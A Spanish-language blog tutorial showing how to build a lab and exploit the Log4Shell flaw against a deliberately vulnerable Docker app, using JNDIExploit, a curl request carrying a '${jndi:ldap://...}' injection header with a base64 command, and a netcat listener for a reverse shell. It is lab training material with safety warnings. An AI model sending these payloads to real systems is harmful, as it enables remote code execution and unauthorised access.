Cómo explotar la vulnerabilidad Log4shell en nuestro laboratorio

Cómo explotar la vulnerabilidad Log4shell en nuestro laboratorio

Hola a [email protected]!

En el post anterior pudimos ver cómo podíamos utilizar recursos existentes para nuestros fines que no eran otros que detectar aplicaciones vulnerables a log4j.

Ahora vamos a ver cómo podemos montarnos un entorno para practicar y detectar la vulnerabilidad.

Vamos a necesitar varias cosas:

  1. Máquina virtual donde se instalará un servidor y aplicación vulnerable.
  2. Aplicación vulnerable
  3. Exploit

Vamos con el primer punto. Existen multitud de máquinas que podréis usar para esto, tenéis máquinas virtuales tanto para VMWare como Virtual Box.

Máquinas Virtuales

Para gustos, colores, así que elegid la que más os guste para el laboratorio. Supongamos que elegís Ubuntu Server, tenéis todas las versiones para poder descargarlas.

Maquinas Virtuales Ubuntu

Una vez elijáis la que más os gusta, simplemente creáis una máquina virtual y añadís el disco que os habéis descargado.

Podéis tener 2 interfaces, 1 NAT y otro Host-Only o bien 1 sólo, como NAT, termináis de configurarlo todo a vuestro gusto y lo cambiáis a Host-Only después. Lo que prefiráis.

Una vez instalada, necesitaréis 2 paquetes: git y docker.io. Os lo pongo ya, por si decidís el método de 1 interface NAT al principio y después cambiarlo, así no perdéis tiempo con varios cambios.

$ sudo apt install git docker.io

Instalando la aplicación vulnerable.

Necesitamos ahora la aplicación vulnerable en donde vamos a explotar la vulnerabilidad, para ello utilizaremos la siguiente búsqueda en Google: “log4shell app vulnerable”.

Aplicación Vulnerable Log4j

Primero la descargamos en la máquina virtual:

$ git clone https://github.com/christophetd/log4shell-vulnerable-app.git

$ cd log4shell-vulnerable-app 

En el README.mdpodemos ver cómo utilizarlo, con Dockers.

Scanear Aplicación Log4Shell

Vemos el contenido de Dockerfile:

$ cat Dockerfile
FROM gradle:7.3.1-jdk17 AS builder
COPY --chown=gradle:gradle . /home/gradle/src
WORKDIR /home/gradle/src
RUN gradle bootJar --no-daemon


FROM openjdk:8u181-jdk-alpine
EXPOSE 8080
RUN mkdir /app
COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar
CMD ["java", "-jar", "/app/spring-boot-application.jar"]

Vemos como nuestra aplicación se ejecutará (después de preparar el entorno) con: “CMD ["java", "-jar", "/app/spring-boot-application.jar"]”. Y la tendremos lista en el puerto 8080.

Esto se instalará dentro de la máquina virtual que habíamos descargado. Para ejecutarla, simplemente, copiamos y pegamos la primera línea y ya tendríamos la aplicación a la espera de peticiones vulnerables.

Running the application
Run it:
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Build it yourself (you don't need any Java-related tooling):
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

Arrancando la aplicación vulnerable Log4Shell.

Para el último punto, necesitaremos la aplicación “JNDIExploit.jar” (como indica en la misma página de la aplicación vulnerable) alojada inicialmente aquí, pero al acceder os llevaréis una sorpresa:

Scanear Aplicación Log4Shell Github404

No pasa nada, buscamos en Archive.org cruzando los dedos para encontrarla:

Captura de Archive.Org

Tenemos suerte con el día 10:

JNDIExploit

Descargáis “JNDIExploit.v1.2.zip” y ya tendríamos el paso 3 finalizado.

Como no sabemos si, a priori, este exploit lleva regalo 😜, usaremos un entorno de pruebas que no nos importaría infectar, por ejemplo, otra máquina virtual.

Tened cuidado con lo que ejecutáis sin saber lo que es

Pensad siempre que os la pueden estar colando, así que cuidado.

En la parte de ejecución del comando para comprobar la vulnerabilidad en la aplicación podemos observar:

JNDIExploit Log4Shell

El siguiente comando:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Realizaría una petición curl a la localhost en el puerto 8080 y añadiría en la cabecera http el siguiente valor: “X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}”

Para ver qué comando está enviando utilizaremos Cyberchef como siempre:

CyberChef Log4J

Por lo tanto, crearía un fichero vacío en /tmp/pwned.

Pues al lío, comprobemos que esto es así. Ejecutamos el docker:

Spring Log4J

Modificamos la petición que se indicaba con los datos de nuestra máquina de pruebas:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Para comprobar si funciona, sin ejecutar el exploit, podemos utilizar el script del artículo anterior, o un simple netcat en el puerto 1389.

Explotar Vulnerabilidad Log4J

Petición recibida. Probemos ahora con el exploit (repito, ejecutad estas cosas en máquinas en donde no os importa que les pueda pasar nada).

Ejecutamos el exploit según nos indica la página de la aplicación vulnerable:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

JNDIExploit Explotar Log4Shell

Como podréis ver, inicia 2 servicios: LDAP y HTTP. LDAP debido a que las peticiones, como habéis visto ya, son del tipo “ldap://your-private-ip:1389”. Y HTTP será la que sirva el exploit que necesitamos que se ejecute en la máquina vulnerable. Lo veremos a continuación.

Pulsamos Ctrl+C y mirad lo que aparece en la consola de la aplicación:

JNDIExploit Explotar Log4Shell Java Spring

Pasamos al ejemplo en el que creamos el fichero en /tmp/pwned. Ejecutamos la petición:

Curl JNDIExploit Log4Shell

Y vemos como se ha conectado a nuestro falso servidor LDAP y ejecutado el exploit.

Scaner JNDIExploit Log4Shell

Debería haberse creado dentro del docker el fichero mencionado anteriormente, lo comprobamos.

Reverse Shell Log4Shell Exploit

Y aquí lo tenemos, fichero creado. Todo funciona correctamente, para finalizar vamos a conectarnos con una reverse shell, podríamos usar, como no, nuestro querido netcat.

Codificamos nuestro comando a base64.

CyberChef Reverse Shell Log4Shell Exploit

Y la sustituimos en el comando que vamos a enviar con curl. Ejecutamos netcat con los siguientes parámetros y lo dejamos a la escucha, a la espera de nuestra reverse shell:

$ nc -lnvp 9001

El servidor LDAP recibe la petición y sirve el exploit vía HTTP:

Reverse Shell nc Log4Shell

El resultado ... Estamos conectados.

Explotando Vulnerabilidad log4j

Tenemos una shell en la máquina vulnerable.

Os recomiendo que echéis un vistazo al siguiente enlace. En donde tenéis información de cómo utilizar ciertos comandos para detectar en vuestros logs este tipo de ataques y poderlos filtrar, se están recibiendo muchos.

Espero que os haya gustado y nos vemos en el siguiente post!

Hasta otra!!

Subscribe to CIBERSEGURIDAD .blog

Don’t miss out on the latest issues. Sign up now to get access to the library of members-only issues.
[email protected]
Subscribe